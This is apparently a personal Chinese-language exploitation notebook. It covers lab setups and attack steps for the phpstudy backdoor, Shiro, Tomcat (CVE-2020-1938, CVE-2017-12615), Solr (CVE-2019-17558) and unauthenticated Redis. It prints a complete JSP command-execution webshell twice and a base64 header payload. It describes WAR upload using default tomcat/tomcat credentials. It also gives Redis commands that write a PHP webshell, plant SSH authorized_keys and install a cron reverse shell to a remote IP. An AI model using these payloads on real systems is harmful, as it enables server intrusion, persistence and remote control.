漏洞库
phpstudy
- 实测2016的PHP-5.4,2018的PHP-5.2.17和PHP-5.4.45都存在此漏洞
- 注意请求头的
Accept-Encoding后应去掉空格,Accept-Charset后值为base64编码,c3lzdGVtKCd3aG9hbWknKTs=解密为system('whoami');注意后面有分号
Shiro RCE(cve-2016-4437)
环境搭建
- 基于
Docker,一键搭建,然后访问本地http://127.0.0.1:9000/
docker pull medicean/vulapps:s_shiro_1
docker run -d -p 9000:8080 medicean/vulapps:s_shiro_1

- 还没找到合适的Burp插件,可以手动添加字段
rememberMe,有回显则是shiro框架

EXP
- 带UI的Tools 无UITools(选择攻击方式,然后x=whoami)

Tomcat Rce(CVE-2020-1938)
环境搭建
- 基于
Docker,一键搭建,影响Apache Tomcat 6,7 < 7.0.100,8 < 8.5.51, 9 < 9.0.31.
docker pull duonghuuphuc/tomcat-8.5.32
docker run -d -p 8080:8080 -p 8009:8009 duonghuuphuc/tomcat-8.5.32


EXP

Tomcat WAR BackDoor
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println(""+excuteCmd(request.getParameter("cmd"))+"");}else{out.println(":-)");}%>
- 访问后台路径
/manager/html/发现弱口令tomcat tomcat,登录后上传war文件(将上面代码写入shell.jsp,再压缩成zip文件,最后更改shell.zip为401.war即可)



Tomcat PUT(CVE-2017-12615)
<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
+"\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println(""+excuteCmd(request.getParameter("cmd"))+"");}else{out.println(":-)");}%>

EXP
- 这里就不贴了吧,后面直接上传GitHub,虽然这个洞几乎都没得了,但是仔细一点总没错嘛!

Solr RCE(CVE-2019-17558)
环境搭建
- 基于
vulhub的docker环境包.影响Apache Solr 5.0.0版本至8.3.1,漏洞原因,params.resource.loader.enabled配置不当,我们可以自定义模板,从而任意执行命令
git clone https://github.com/vulhub/vulhub.git
cd vulhub/solr/CVE-2019-17558/
docker-compose up -d

- 发现方式可目录扫描或端口扫描(注意普通方式可能不会发现
8983端口),

EXP
- 不知道为啥网上的EXP打不通,于是乎自己写了一个,后面会都放在GitHub.


- 更改
params.resource.loader.enabled配置


Redis Getshell(Linux)
环境搭建
Ubuntu系统,一键式安装,更改配置为未授权.然后启动服务即可
sudo apt install gcc && wget http://download.redis.io/releases/redis-5.0.3.tar.gz && tar -zxvf redis-5.0.3.tar.gz && cd redis-5.0.3 && make
- 修改
Redis启动配置文件redis.conf,将bind 127.0.0.1改为bind 0.0.0.0,关闭保护模式,protected-mode yes改为``protected-mode no`,最后保存退出.
- 启动服务
sudo ./redis-server ../redis.conf
Webshell


config set dir /var/www/html/
config set dbfilename info.php
set payload "<?php phpinfo();?>"
save
SSH公私钥
ssh-keygen -t rsa


config set dir /home/forever404/.ssh/
config set dbfilename authorized_keys
set payload "\n\n\nid_rsa.pub\n\n\n"
save
定时计划反弹Shell
- 注意这个需在
Centos上方可实现,Ubuntu上亲测不可以,码.sudo systemctl stop firewalld.service关闭防火墙,


config set dir /var/spool/cron/
config set dbfilename root
set paylaod "\n\n\n* * * * * bash -i >& /dev/tcp/172.x.x.x/8888 0>&1\n\n\n"
save
主从复制
- 这个
Redis的版本必须是4.0-5.0之间,显然看出来上面几种方法都会留下"痕迹",且要求路径,和文件写入权限等,于是乎有了新的利用方式.Redis-RCE,redis-post-exploitation.pdf.
